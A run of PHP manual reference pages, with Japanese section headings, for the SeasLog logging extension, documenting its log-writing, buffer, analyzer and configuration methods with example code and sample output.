Get log count by level, log_path and key_word

  • ≪ SeasLog::alert
  • SeasLog::analyzerDetail ≫
  • PHP Manual
  • SeasLog
  • Get log count by level, log_path and key_word

SeasLog::analyzerCount

(PECL seaslog >=1.1.6)

SeasLog::analyzerCount — Get log count by level, log_path and key_word

説明

public static SeasLog::analyzerCount ( string $level , string $log_path = ? , string $key_word = ? ) : mixed

`SeasLog` get count value of `grep -ai '{level}' | grep -aic '{key_word}'` use system pipe and return to PHP (array or int).

パラメータ

level

String. The log information level.

log_path

String. The log information path.

key_word

String. The search key word for log information.

返り値

If `level` is SEASLOG_ALL or Empty, return all levels count as `array`. If `level` is SEASLOG_INFO or the other level, return count as `int`.

例

例1 SeasLog::analyzerCount() example

<?php

$countResult1 = SeasLog::analyzerCount();

//with `level`
$countResult2 = SeasLog::analyzerCount(SEASLOG_DEBUG);

//with `level` and `log_path`
$countResult3 = SeasLog::analyzerCount(SEASLOG_ERROR,date('Ymd',time()));

//with `level` and `key_word`
$countResult4 = SeasLog::analyzerCount(SEASLOG_DEBUG,NULL,'accessToken');

var_dump($countResult1,$countResult2,$countResult3,$countResult4);

?>

上の例の出力は、 たとえば以下のようになります。

array(8) {
  ["DEBUG"]=>
  int(180)
  ["INFO"]=>
  int(214)
  ["NOTICE"]=>
  int(0)
  ["WARNING"]=>
  int(0)
  ["ERROR"]=>
  int(228)
  ["CRITICAL"]=>
  int(244)
  ["ALERT"]=>
  int(1)
  ["EMERGENCY"]=>
  int(0)
}

int(180)

int(228)

int(29)

参考

  • SeasLog::analyzerDetail() - Get log detail by level, log_path, key_word, start, limit, order

User Contributed Notes

There are no user contributed notes for this page.


Get log detail by level, log_path, key_word, start, limit, order

  • ≪ SeasLog::analyzerCount
  • SeasLog::closeLoggerStream ≫
  • PHP Manual
  • SeasLog
  • Get log detail by level, log_path, key_word, start, limit, order

SeasLog::analyzerDetail

(PECL seaslog >=1.1.6)

SeasLog::analyzerDetail — Get log detail by level, log_path, key_word, start, limit, order

説明

public static SeasLog::analyzerDetail ( string $level , string $log_path = ? , string $key_word = ? , int $start = ? , int $limit = ? , int $order = ? ) : mixed

`SeasLog` get results of `grep -ai '{level}' | grep -ai '{key_word}' | sed -n '{start},{limit}'p` use system pipe and return array to PHP.

パラメータ

level

String. The log information level.

log_path

String. The log information path.

key_word

String. The search key word for log information.

start

Int. Default is `1`.

limit

Int. Default is `20`.

order

Int. Default is SEASLOG_DETAIL_ORDER_ASC. See also:

  • SEASLOG_DETAIL_ORDER_ASC
  • SEASLOG_DETAIL_ORDER_DESC

返り値

Return results as array.

注意:

When `start`,`limit` is not NULL and in Windows, SeasLog will threw exception with message 'Param start and limit don't support Windows'.

例

例1 SeasLog::analyzerDetail() example

<?php

$result1 = SeasLog::analyzerDetail(SEASLOG_ERROR);

//with `logger` and `key_word`
$result2 = SeasLog::analyzerDetail(SEASLOG_ERROR,'test/logger/','neeke');

//with `start` and `limit`
$result3 = SeasLog::analyzerDetail(SEASLOG_ERROR,'test/logger/','neeke',1,2);

var_dump($result1,$result2,$result3);
?>

上の例の出力は、 たとえば以下のようになります。

array(20) {
  [0]=>
  string(93) "2018-07-09 12:52:53 | ERROR | 12247 | 5b42ea2580e51 | 1531111973.528 | log message from neeke"
  [1]=>
  string(93) "2018-07-09 12:52:54 | ERROR | 12256 | 5b42ea26d6657 | 1531111974.878 | log message from neeke"
  [2]=>
  string(93) "2018-07-09 12:52:55 | ERROR | 12265 | 5b42ea277b8d4 | 1531111975.506 | log message from neeke"
  [3]=>
  string(104) "2018-07-09 12:52:55 | ERROR | 12274 | 5b42ea27db5dc | 1531111975.898 | log message from the other people"
...
}

array(3) {
  [0]=>
  string(93) "2018-07-09 12:52:53 | ERROR | 12247 | 5b42ea2580e51 | 1531111973.528 | log message from neeke"
  [1]=>
  string(93) "2018-07-09 12:52:54 | ERROR | 12256 | 5b42ea26d6657 | 1531111974.878 | log message from neeke"
  [2]=>
  string(93) "2018-07-09 12:52:55 | ERROR | 12265 | 5b42ea277b8d4 | 1531111975.506 | log message from neeke"
}

array(2) {
  [0]=>
  string(93) "2018-07-09 12:52:53 | ERROR | 12247 | 5b42ea2580e51 | 1531111973.528 | log message from neeke"
  [1]=>
  string(93) "2018-07-09 12:52:54 | ERROR | 12256 | 5b42ea26d6657 | 1531111974.878 | log message from neeke"
}

参考

  • SeasLog::analyzerCount() - Get log count by level, log_path and key_word

User Contributed Notes

There are no user contributed notes for this page.


Manually release stream flow from logger

  • ≪ SeasLog::analyzerDetail
  • SeasLog::__construct ≫
  • PHP Manual
  • SeasLog
  • Manually release stream flow from logger

SeasLog::closeLoggerStream

(PECL seaslog >=1.8.6)

SeasLog::closeLoggerStream — Manually release stream flow from logger

説明

public static SeasLog::closeLoggerStream ( int $model , string $logger ) : bool

Manually release stream flow from logger. SeasLog caches the stream handle opened by the log logger to save the overhead of creating a stream. The handle will be automatically released at the end of the request. If in CLI mode, the process will also automatically release when it exits. Or you can use the following functions to manually release(manually release function needs to update SeasLog 1.8.6 or updated version).

パラメータ

model

Constant int.

  • SEASLOG_CLOSE_LOGGER_STREAM_MOD_ALL
  • SEASLOG_CLOSE_LOGGER_STREAM_MOD_ASSIGN

logger

The logger name.

返り値

Return TRUE on released stream flow success, FALSE on failure.

例

例1 SeasLog::closeLoggerStream() example

<?php

var_dump(SeasLog::closeLoggerStream());
var_dump(SeasLog::closeLoggerStream(SEASLOG_CLOSE_LOGGER_STREAM_MOD_ALL));
var_dump(SeasLog::closeLoggerStream(SEASLOG_CLOSE_LOGGER_STREAM_MOD_ASSIGN, 'logger_name'));

?>

上の例の出力は、 たとえば以下のようになります。

bool(true)
bool(true)
bool(true)

参考

  • SeasLog::setLogger() - Set SeasLog logger name
  • SeasLog::getLastLogger() - Get SeasLog last logger path

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ SeasLog::closeLoggerStream
  • SeasLog::critical ≫
  • PHP Manual
  • SeasLog
  • Description

SeasLog::__construct

(PECL seaslog >=1.0.0)

SeasLog::__construct — Description

説明

public SeasLog::__construct ( )

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

例

例1 SeasLog::__construct() example

<?php

/* ... */

?>

上の例の出力は、 たとえば以下のようになります。

...

User Contributed Notes

There are no user contributed notes for this page.


Record critical log information

  • ≪ SeasLog::__construct
  • SeasLog::debug ≫
  • PHP Manual
  • SeasLog
  • Record critical log information

SeasLog::critical

(PECL seaslog >=1.0.0)

SeasLog::critical — Record critical log information

説明

public static SeasLog::critical ( string $message , array $content = ? , string $logger = ? ) : bool

Record critical log information.

注意:

"CRITICAL" - Critical conditions.Need to be repaired immediately, and the program component is unavailable.

パラメータ

message

The log message.

content

The `message` contain placeholders which implementors replace with values from content array. Sush as `message` is `log info from {NAME}` and `content` is `array('NAME' => neeke)`, the log information will `log info from neeke`.

logger

The `logger` cased by the third param would be used right this right now, like a temp logger, when the function SeasLog::setLogger() called in pre content. If `logger` NULL or "", SeasLog will use lastest logger setted by SeasLog::setLogger().

返り値

Return TRUE on record log information success, FALSE on failure.

例

例1 SeasLog::critical() example

<?php

var_dump(SeasLog::critical('log message'));

//with content
var_dump(SeasLog::critical('log message from {NAME}',array('NAME' => 'neeke')));

//with tmp logger
var_dump(SeasLog::critical('log message from {NAME}',array('NAME' => 'neeke'),'tmp_logger'));

var_dump(SeasLog::getBuffer());

?>

上の例の出力は、 たとえば以下のようになります。

bool(true)
bool(true)
bool(true)
array(2) {
  ["/var/log/www/default/20180707.log"]=>
  array(2) {
    [0]=>
    string(81) "2018-07-07 11:45:49 | CRITICAL | 73263 | 5b40376d1067c | 1530935149.68 | log message
"
    [1]=>
    string(92) "2018-07-07 11:45:49 | CRITICAL | 73263 | 5b40376d1067c | 1530935149.68 | log message from neeke
"
  }
  ["/var/log/www/tmp_logger/20180707.log"]=>
  array(1) {
    [0]=>
    string(92) "2018-07-07 11:45:49 | CRITICAL | 73263 | 5b40376d1067c | 1530935149.68 | log message from neeke
"
  }
}

参考

  • seaslog.default_template
  • SeasLog::debug() - Record debug log information
  • SeasLog::info() - Record info log information
  • SeasLog::notice() - Record notice log information
  • SeasLog::warning() - Record warning log information
  • SeasLog::error() - Record error log information
  • SeasLog::alert() - Record alert log information
  • SeasLog::emergency() - Record emergency log information
  • SeasLog::log() - The Common Record Log Function

User Contributed Notes

There are no user contributed notes for this page.


Record debug log information

  • ≪ SeasLog::critical
  • SeasLog::__destruct ≫
  • PHP Manual
  • SeasLog
  • Record debug log information

SeasLog::debug

(PECL seaslog >=1.0.0)

SeasLog::debug — Record debug log information

説明

public static SeasLog::debug ( string $message , array $content = ? , string $logger = ? ) : bool

Record debug log information.

注意:

"DEBUG" - Detailed debug information.Fine-grained information events.

パラメータ

message

The log message.

content

The `message` contain placeholders which implementors replace with values from content array. Sush as `message` is `log info from {NAME}` and `content` is `array('NAME' => neeke)`, the log information will `log info from neeke`.

logger

The `logger` cased by the third param would be used right this right now, like a temp logger, when the function SeasLog::setLogger() called in pre content. If `logger` NULL or "", SeasLog will use lastest logger setted by SeasLog::setLogger().

返り値

Return TRUE on record log information success, FALSE on failure.

例

例1 SeasLog::debug() example

<?php

var_dump(SeasLog::debug('log message'));

//with content
var_dump(SeasLog::debug('log message from {NAME}',array('NAME' => 'neeke')));

//with tmp logger
var_dump(SeasLog::debug('log message from {NAME}',array('NAME' => 'neeke'),'tmp_logger'));

var_dump(SeasLog::getBuffer());

?>

上の例の出力は、 たとえば以下のようになります。

bool(true)
bool(true)
bool(true)
array(2) {
  ["/var/log/www/default/20180707.log"]=>
  array(2) {
    [0]=>
    string(81) "2018-07-07 11:45:49 | DEBUG | 73263 | 5b40376d1067c | 1530935149.68 | log message
"
    [1]=>
    string(92) "2018-07-07 11:45:49 | DEBUG | 73263 | 5b40376d1067c | 1530935149.68 | log message from neeke
"
  }
  ["/var/log/www/tmp_logger/20180707.log"]=>
  array(1) {
    [0]=>
    string(92) "2018-07-07 11:45:49 | DEBUG | 73263 | 5b40376d1067c | 1530935149.68 | log message from neeke
"
  }
}

参考

  • seaslog.default_template
  • SeasLog::info() - Record info log information
  • SeasLog::notice() - Record notice log information
  • SeasLog::warning() - Record warning log information
  • SeasLog::error() - Record error log information
  • SeasLog::critical() - Record critical log information
  • SeasLog::alert() - Record alert log information
  • SeasLog::emergency() - Record emergency log information
  • SeasLog::log() - The Common Record Log Function

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ SeasLog::debug
  • SeasLog::emergency ≫
  • PHP Manual
  • SeasLog
  • Description

SeasLog::__destruct

(PECL seaslog >=1.0.0)

SeasLog::__destruct — Description

説明

public SeasLog::__destruct ( )

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

例

例1 SeasLog::__destruct() example

<?php

/* ... */

?>

上の例の出力は、 たとえば以下のようになります。

...

User Contributed Notes

There are no user contributed notes for this page.


Record emergency log information

  • ≪ SeasLog::__destruct
  • SeasLog::error ≫
  • PHP Manual
  • SeasLog
  • Record emergency log information

SeasLog::emergency

(PECL seaslog >=1.0.0)

SeasLog::emergency — Record emergency log information

説明

public static SeasLog::emergency ( string $message , array $content = ? , string $logger = ? ) : bool

Record emergency log information.

注意:

"EMERGENCY" - System is unusable.

パラメータ

message

The log message.

content

The `message` contain placeholders which implementors replace with values from content array. Sush as `message` is `log info from {NAME}` and `content` is `array('NAME' => neeke)`, the log information will `log info from neeke`.

logger

The `logger` cased by the third param would be used right this right now, like a temp logger, when the function SeasLog::setLogger() called in pre content. If `logger` NULL or "", SeasLog will use lastest logger setted by SeasLog::setLogger().

返り値

Return TRUE on record log information success, FALSE on failure.

例

例1 SeasLog::emergency() example

<?php

var_dump(SeasLog::emergency('log message'));

//with content
var_dump(SeasLog::emergency('log message from {NAME}',array('NAME' => 'neeke')));

//with tmp logger
var_dump(SeasLog::emergency('log message from {NAME}',array('NAME' => 'neeke'),'tmp_logger'));

var_dump(SeasLog::getBuffer());

?>

上の例の出力は、 たとえば以下のようになります。

bool(true)
bool(true)
bool(true)
array(2) {
  ["/var/log/www/default/20180707.log"]=>
  array(2) {
    [0]=>
    string(81) "2018-07-07 11:45:49 | EMERGENCY | 73263 | 5b40376d1067c | 1530935149.68 | log message
"
    [1]=>
    string(92) "2018-07-07 11:45:49 | EMERGENCY | 73263 | 5b40376d1067c | 1530935149.68 | log message from neeke
"
  }
  ["/var/log/www/tmp_logger/20180707.log"]=>
  array(1) {
    [0]=>
    string(92) "2018-07-07 11:45:49 | EMERGENCY | 73263 | 5b40376d1067c | 1530935149.68 | log message from neeke
"
  }
}

参考

  • seaslog.default_template
  • SeasLog::debug() - Record debug log information
  • SeasLog::info() - Record info log information
  • SeasLog::notice() - Record notice log information
  • SeasLog::warning() - Record warning log information
  • SeasLog::error() - Record error log information
  • SeasLog::critical() - Record critical log information
  • SeasLog::alert() - Record alert log information
  • SeasLog::log() - The Common Record Log Function

User Contributed Notes

There are no user contributed notes for this page.


Record error log information

  • ≪ SeasLog::emergency
  • SeasLog::flushBuffer ≫
  • PHP Manual
  • SeasLog
  • Record error log information

SeasLog::error

(PECL seaslog >=1.0.0)

SeasLog::error — Record error log information

説明

public static SeasLog::error ( string $message , array $content = ? , string $logger = ? ) : bool

Record error log information.

注意:

"ERROR" - Runtime errors that do not require immediate action but should typically.

パラメータ

message

The log message.

content

The `message` contain placeholders which implementors replace with values from content array. Sush as `message` is `log info from {NAME}` and `content` is `array('NAME' => neeke)`, the log information will `log info from neeke`.

logger

The `logger` cased by the third param would be used right this right now, like a temp logger, when the function SeasLog::setLogger() called in pre content. If `logger` NULL or "", SeasLog will use lastest logger setted by SeasLog::setLogger().

返り値

Return TRUE on record log information success, FALSE on failure.

例

例1 SeasLog::error() example

<?php

var_dump(SeasLog::error('log message'));

//with content
var_dump(SeasLog::error('log message from {NAME}',array('NAME' => 'neeke')));

//with tmp logger
var_dump(SeasLog::error('log message from {NAME}',array('NAME' => 'neeke'),'tmp_logger'));

var_dump(SeasLog::getBuffer());

?>

上の例の出力は、 たとえば以下のようになります。

bool(true)
bool(true)
bool(true)
array(2) {
  ["/var/log/www/default/20180707.log"]=>
  array(2) {
    [0]=>
    string(81) "2018-07-07 11:45:49 | ERROR | 73263 | 5b40376d1067c | 1530935149.68 | log message
"
    [1]=>
    string(92) "2018-07-07 11:45:49 | ERROR | 73263 | 5b40376d1067c | 1530935149.68 | log message from neeke
"
  }
  ["/var/log/www/tmp_logger/20180707.log"]=>
  array(1) {
    [0]=>
    string(92) "2018-07-07 11:45:49 | ERROR | 73263 | 5b40376d1067c | 1530935149.68 | log message from neeke
"
  }
}

参考

  • seaslog.default_template
  • SeasLog::debug() - Record debug log information
  • SeasLog::info() - Record info log information
  • SeasLog::notice() - Record notice log information
  • SeasLog::warning() - Record warning log information
  • SeasLog::critical() - Record critical log information
  • SeasLog::alert() - Record alert log information
  • SeasLog::emergency() - Record emergency log information
  • SeasLog::log() - The Common Record Log Function

User Contributed Notes

There are no user contributed notes for this page.


Flush logs buffer, dump to appender file, or send to remote api with tcp/udp

  • ≪ SeasLog::error
  • SeasLog::getBasePath ≫
  • PHP Manual
  • SeasLog
  • Flush logs buffer, dump to appender file, or send to remote api with tcp/udp

SeasLog::flushBuffer

(PECL seaslog >=1.0.0)

SeasLog::flushBuffer — Flush logs buffer, dump to appender file, or send to remote api with tcp/udp

説明

public static SeasLog::flushBuffer ( ) : bool

Flush logs buffer by seaslog.appender: dump to file, or send to remote api with tcp/udp.

注意:

See also: seaslog.appender_retry seaslog.remote_host seaslog.remote_port

パラメータ

この関数にはパラメータはありません。

返り値

Return TRUE on flush buffer success, FALSE on failure.

例

例1 SeasLog::flushBuffer() example

<?php

SeasLog::info('info log');
SeasLog::debug('debug log');
var_dump(SeasLog::getBuffer());
var_dump(SeasLog::flushBuffer());
var_dump(SeasLog::getBuffer());

?>

上の例の出力は、 たとえば以下のようになります。

array(1) {
  ["/var/log/www/default/20180707.log"]=>
  array(2) {
    [0]=>
    string(79) "2018-07-07 10:47:58 | INFO | 71910 | 5b4029ded6009 | 1530931678.877 | info log
"
    [1]=>
    string(81) "2018-07-07 10:47:58 | DEBUG | 71910 | 5b4029ded6009 | 1530931678.877 | debug log
"
  }
}
bool(true)
array(0) {
}

参考

  • seaslog.use_buffer
  • seaslog.buffer_size
  • seaslog.buffer_disabled_in_cli
  • SeasLog::getBufferEnabled() - Determin if buffer enabled
  • SeasLog::getBuffer() - Get the logs buffer in memory as array

User Contributed Notes

There are no user contributed notes for this page.


Get SeasLog base path.

  • ≪ SeasLog::flushBuffer
  • SeasLog::getBuffer ≫
  • PHP Manual
  • SeasLog
  • Get SeasLog base path.

SeasLog::getBasePath

(PECL seaslog >=1.0.0)

SeasLog::getBasePath — Get SeasLog base path.

説明

public static Seaslog::getBasePath ( ) : string

Use the Function SeasLog::getBasePath() will get the value of seaslog.default_basepath what configured in php.ini(seaslog.ini).

If you use Seaslog::setBasePath(), will change the result.

パラメータ

この関数にはパラメータはありません。

返り値

Return seaslog.default_basepath as string.

例

例1 SeasLog::getBasePath() example

<?php

var_dump(SeasLog::getBasePath());

?>

上の例の出力は、 たとえば以下のようになります。

string(12) "/var/log/www"

User Contributed Notes

There are no user contributed notes for this page.


Get the logs buffer in memory as array

  • ≪ SeasLog::getBasePath
  • SeasLog::getBufferEnabled ≫
  • PHP Manual
  • SeasLog
  • Get the logs buffer in memory as array

SeasLog::getBuffer

(PECL seaslog >=1.0.0)

SeasLog::getBuffer — Get the logs buffer in memory as array

説明

public static SeasLog::getBuffer ( ) : array

パラメータ

この関数にはパラメータはありません。

返り値

Return an array from logs buffer in memory.

例

例1 SeasLog::getBuffer() example

<?php

var_dump(SeasLog::info('info log'));
var_dump(SeasLog::debug('debug log'));
var_dump(SeasLog::getBuffer());

?>

上の例の出力は、 たとえば以下のようになります。

bool(true)
bool(true)
array(1) {
  ["/var/log/www/default/20180707.log"]=>
  array(2) {
    [0]=>
    string(79) "2018-07-07 10:43:32 | INFO | 71785 | 5b4028d4c58d5 | 1530931412.810 | info log
"
    [1]=>
    string(81) "2018-07-07 10:43:32 | DEBUG | 71785 | 5b4028d4c58d5 | 1530931412.810 | debug log
"
  }
}

参考

  • seaslog.use_buffer
  • seaslog.buffer_size
  • seaslog.buffer_disabled_in_cli
  • SeasLog::getBufferEnabled() - Determin if buffer enabled
  • SeasLog::flushBuffer() - Flush logs buffer, dump to appender file, or send to remote api with tcp/udp

User Contributed Notes

There are no user contributed notes for this page.


Determin if buffer enabled

  • ≪ SeasLog::getBuffer
  • SeasLog::getDatetimeFormat ≫
  • PHP Manual
  • SeasLog
  • Determin if buffer enabled

SeasLog::getBufferEnabled

(PECL seaslog >=1.0.0)

SeasLog::getBufferEnabled — Determin if buffer enabled

説明

public static SeasLog::getBufferEnabled ( ) : bool

Result join seaslog.use_buffer and seaslog.buffer_disabled_in_cli.

パラメータ

この関数にはパラメータはありません。

返り値

Return TRUE on seaslog.use_buffer is true. If switch seaslog.buffer_disabled_in_cli on, and running in cli, seaslog.use_buffer setting will be discarded, Seaslog write to the Data Store IMMEDIATELY.

例

例1 SeasLog::getBufferEnabled() example

<?php

var_dump(SeasLog::getBufferEnabled());

?>

上の例の出力は、 たとえば以下のようになります。

bool(false)

参考

  • seaslog.use_buffer
  • seaslog.buffer_size
  • seaslog.buffer_disabled_in_cli
  • SeasLog::getBuffer() - Get the logs buffer in memory as array
  • SeasLog::flushBuffer() - Flush logs buffer, dump to appender file, or send to remote api with tcp/udp

User Contributed Notes

There are no user contributed notes for this page.


Get SeasLog datetime format style

  • ≪ SeasLog::getBufferEnabled
  • SeasLog::getLastLogger ≫
  • PHP Manual
  • SeasLog
  • Get SeasLog datetime format style

SeasLog::getDatetimeFormat

(PECL seaslog >=1.0.0)

SeasLog::getDatetimeFormat — Get SeasLog datetime format style

説明

public static SeasLog::getDatetimeFormat ( ) : string

Get SeasLog datetime format style. Use the Function SeasLog::getDatetimeFormat() will get the value of seaslog.default_datetime_format what configured in php.ini(seaslog.ini).

パラメータ

この関数にはパラメータはありません。

返り値

Get SeasLog datetime format style of seaslog.default_datetime_format. Use the Function SeasLog::setDatetimeFormat() will change this value.

例

例1 SeasLog::getDatetimeFormat() example

<?php

var_dump(SeasLog::getDateTimeFormat());
var_dump(SeasLog::setDateTimeFormat('Ymd His'));
var_dump(SeasLog::getDateTimeFormat());

?>

上の例の出力は、 たとえば以下のようになります。

string(11) "Y-m-d H:i:s"
bool(true)
string(7) "Ymd His"

参考

  • SeasLog::setDatetimeFormat() - Set SeasLog datetime format style

User Contributed Notes

There are no user contributed notes for this page.


Get SeasLog last logger path

  • ≪ SeasLog::getDatetimeFormat
  • SeasLog::getRequestID ≫
  • PHP Manual
  • SeasLog
  • Get SeasLog last logger path

SeasLog::getLastLogger

(PECL seaslog >=1.0.0)

SeasLog::getLastLogger — Get SeasLog last logger path

説明

public static SeasLog::getLastLogger ( ) : string

Use the Function SeasLog::getLastLogger() will get the value of seaslog.default_logger what configured in php.ini(seaslog.ini).

パラメータ

この関数にはパラメータはありません。

返り値

Use the Function SeasLog::setLogger() will change the value of function SeasLog::getLastLogger().

例

例1 SeasLog::getLastLogger() example

<?php

var_dump(SeasLog::getLastLogger());
SeasLog::setLogger('theNewLogger');
var_dump(SeasLog::getLastLogger());
?>

上の例の出力は、 たとえば以下のようになります。

string(7) "default"
string(12) "theNewLogger"

参考

  • SeasLog::setLogger() - Set SeasLog logger name

User Contributed Notes

There are no user contributed notes for this page.


Get SeasLog request_id differentiated requests

  • ≪ SeasLog::getLastLogger
  • SeasLog::getRequestVariable ≫
  • PHP Manual
  • SeasLog
  • Get SeasLog request_id differentiated requests

SeasLog::getRequestID

(PECL seaslog >=1.0.0)

SeasLog::getRequestID — Get SeasLog request_id differentiated requests

説明

public static SeasLog::getRequestID ( ) : string

To distinguish a single request, such as not invoking the SeasLog::setRequestId() function， the unique value generated by the built-in `static char *get_uniqid ()` function is used when the request is initialized.

パラメータ

この関数にはパラメータはありません。

返り値

Return string generated by the built-in `static char *get_uniqid ()` function, or setted by SeasLog::setRequestId() function.

例

例1 SeasLog::getRequestID() example

<?php

var_dump(SeasLog::getRequestID());
var_dump(SeasLog::setRequestID('reqeust_id_test_'.time()))
var_dump(SeasLog::getRequestID());

?>

上の例の出力は、 たとえば以下のようになります。

string(13) "5b3f21a209519"
bool(true)
string(26) "reqeust_id_test_1530864034"

参考

  • SeasLog::setRequestID() - Set SeasLog request_id differentiated requests
  • The Variable `%Q` in Seaslog Default Variable Table.

User Contributed Notes

There are no user contributed notes for this page.


Get SeasLog request variable

  • ≪ SeasLog::getRequestID
  • SeasLog::info ≫
  • PHP Manual
  • SeasLog
  • Get SeasLog request variable

SeasLog::getRequestVariable

(PECL seaslog >=1.9.0)

SeasLog::getRequestVariable — Get SeasLog request variable

説明

public static SeasLog::getRequestVariable ( int $key ) : bool

Get SeasLog request variable.

パラメータ

key

Constant int.

  • SEASLOG_REQUEST_VARIABLE_DOMAIN_PORT
  • SEASLOG_REQUEST_VARIABLE_REQUEST_URI
  • SEASLOG_REQUEST_VARIABLE_REQUEST_METHOD
  • SEASLOG_REQUEST_VARIABLE_CLIENT_IP

返り値

Return request variable value on set success.

例

例1 SeasLog::getRequestVariable() example

<?php

$sDomainPort = 'domain:port';
$sRequestUri = 'uri';
$sRequestMethod = 'method';
$sClientIp = 'client_ip';

$iErrorKey = 1000;

$oSeasLog = new SeasLog();

var_dump($oSeasLog->setRequestVariable(SEASLOG_REQUEST_VARIABLE_DOMAIN_PORT, $sDomainPort));
var_dump($oSeasLog->setRequestVariable(SEASLOG_REQUEST_VARIABLE_REQUEST_URI, $sRequestUri));
var_dump($oSeasLog->setRequestVariable(SEASLOG_REQUEST_VARIABLE_REQUEST_METHOD, $sRequestMethod));
var_dump($oSeasLog->setRequestVariable(SEASLOG_REQUEST_VARIABLE_CLIENT_IP, $sClientIp));

var_dump($oSeasLog->setRequestVariable($iErrorKey,NULL));

var_dump($oSeasLog->getRequestVariable(SEASLOG_REQUEST_VARIABLE_DOMAIN_PORT) == $sDomainPort);
var_dump($oSeasLog->getRequestVariable(SEASLOG_REQUEST_VARIABLE_REQUEST_URI) == $sRequestUri);
var_dump($oSeasLog->getRequestVariable(SEASLOG_REQUEST_VARIABLE_REQUEST_METHOD) == $sRequestMethod);
var_dump($oSeasLog->getRequestVariable(SEASLOG_REQUEST_VARIABLE_CLIENT_IP) == $sClientIp);

var_dump($oSeasLog->getRequestVariable($iErrorKey));

?>

上の例の出力は、 たとえば以下のようになります。

bool(true)
bool(true)
bool(true)
bool(true)
bool(false)
bool(true)
bool(true)
bool(true)
bool(true)
bool(false)

参考

  • SeasLog::setRequestVariable() - Manually set SeasLog request variable

User Contributed Notes

There are no user contributed notes for this page.


Record info log information

  • ≪ SeasLog::getRequestVariable
  • SeasLog::log ≫
  • PHP Manual
  • SeasLog
  • Record info log information

SeasLog::info

(PECL seaslog >=1.0.0)

SeasLog::info — Record info log information

説明

public static SeasLog::info ( string $message , array $content = ? , string $logger = ? ) : bool

Record info log information.

注意:

"INFO" - Interesting events.Emphasizes the running process of the application.

パラメータ

message

The log message.

content

The `message` contain placeholders which implementors replace with values from content array. Sush as `message` is `log info from {NAME}` and `content` is `array('NAME' => neeke)`, the log information will `log info from neeke`.

logger

The `logger` cased by the third param would be used right this right now, like a temp logger, when the function SeasLog::setLogger() called in pre content. If `logger` NULL or "", SeasLog will use lastest logger setted by SeasLog::setLogger().

返り値

Return TRUE on record log information success, FALSE on failure.

例

例1 SeasLog::info() example

<?php

var_dump(SeasLog::info('log message'));

//with content
var_dump(SeasLog::info('log message from {NAME}',array('NAME' => 'neeke')));

//with tmp logger
var_dump(SeasLog::info('log message from {NAME}',array('NAME' => 'neeke'),'tmp_logger'));

var_dump(SeasLog::getBuffer());

?>

上の例の出力は、 たとえば以下のようになります。

bool(true)
bool(true)
bool(true)
array(2) {
  ["/var/log/www/default/20180707.log"]=>
  array(2) {
    [0]=>
    string(81) "2018-07-07 11:45:49 | INFO | 73263 | 5b40376d1067c | 1530935149.68 | log message
"
    [1]=>
    string(92) "2018-07-07 11:45:49 | INFO | 73263 | 5b40376d1067c | 1530935149.68 | log message from neeke
"
  }
  ["/var/log/www/tmp_logger/20180707.log"]=>
  array(1) {
    [0]=>
    string(92) "2018-07-07 11:45:49 | INFO | 73263 | 5b40376d1067c | 1530935149.68 | log message from neeke
"
  }
}

参考

  • seaslog.default_template
  • SeasLog::debug() - Record debug log information
  • SeasLog::notice() - Record notice log information
  • SeasLog::warning() - Record warning log information
  • SeasLog::error() - Record error log information
  • SeasLog::critical() - Record critical log information
  • SeasLog::alert() - Record alert log information
  • SeasLog::emergency() - Record emergency log information
  • SeasLog::log() - The Common Record Log Function

User Contributed Notes

There are no user contributed notes for this page.


The Common Record Log Function

  • ≪ SeasLog::info
  • SeasLog::notice ≫
  • PHP Manual
  • SeasLog
  • The Common Record Log Function

SeasLog::log

(PECL seaslog >=1.0.0)

SeasLog::log — The Common Record Log Function

説明

public static SeasLog::log ( string $level , string $message = ? , array $content = ? , string $logger = ? ) : bool

The Common Record Log Function.

パラメータ

level

Can use level in:

  • SEASLOG_DEBUG
  • SEASLOG_INFO
  • SEASLOG_NOTICE
  • SEASLOG_WARNING
  • SEASLOG_ERROR
  • SEASLOG_CRITICAL
  • SEASLOG_ALERT
  • SEASLOG_EMERGENCY
Or you can create a new level self-help.

message

The log message.

content

The `message` contain placeholders which implementors replace with values from content array. Sush as `message` is `log info from {NAME}` and `content` is `array('NAME' => neeke)`, the log information will `log info from neeke`.

logger

The `logger` cased by the third param would be used right this right now, like a temp logger, when the function SeasLog::setLogger() called in pre content. If `logger` NULL or "", SeasLog will use lastest logger setted by SeasLog::setLogger().

返り値

Return TRUE on record log information success, FALSE on failure.

例

例1 SeasLog::log() example

<?php

var_dump(SeasLog::log(SEASLOG_INFO,'info log'));
var_dump(SeasLog::getBuffer());

//create a new level self-help.
var_dump(SeasLog::log('MySelfLevel','info log'));
var_dump(SeasLog::getBuffer());

//with `content`
var_dump(SeasLog::log('MySelfLevel','info log {NAME}',array('NAME' => 'neeke')));
var_dump(SeasLog::getBuffer());

//with `logger`
var_dump(SeasLog::log('MySelfLevel','info log {NAME}',array('NAME' => 'neeke'),'tmp_logger'));
var_dump(SeasLog::getBuffer());

?>

上の例の出力は、 たとえば以下のようになります。

bool(true)
array(1) {
  ["/var/log/www/default/20180707.log"]=>
  array(1) {
    [0]=>
    string(79) "2018-07-07 11:12:37 | INFO | 72427 | 5b402fa56a2ea | 1530933157.436 | info log
"
  }
}

bool(true)
array(1) {
  ["/var/log/www/default/20180707.log"]=>
  array(1) {
    [0]=>
    string(86) "2018-07-07 11:13:59 | MySelfLevel | 72470 | 5b402ff781c5e | 1530933239.532 | info log
"
  }
}

bool(true)
array(1) {
  ["/var/log/www/tmp_logger/20180707.log"]=>
  array(1) {
    [0]=>
    string(92) "2018-07-07 11:28:12 | MySelfLevel | 72833 | 5b40334ce6a2f | 1530934092.946 | info log neeke
"
  }
}

bool(true)
array(1) {
  ["/var/log/www/default/20180707.log"]=>
  array(1) {
    [0]=>
    string(86) "2018-07-07 11:20:12 | INFO | 72616 | 5b40316c3641e | 1530933612.222 | info log neeke
"
  }
}

参考

  • seaslog.default_template
  • SeasLog::debug() - Record debug log information
  • SeasLog::info() - Record info log information
  • SeasLog::notice() - Record notice log information
  • SeasLog::warning() - Record warning log information
  • SeasLog::error() - Record error log information
  • SeasLog::critical() - Record critical log information
  • SeasLog::alert() - Record alert log information
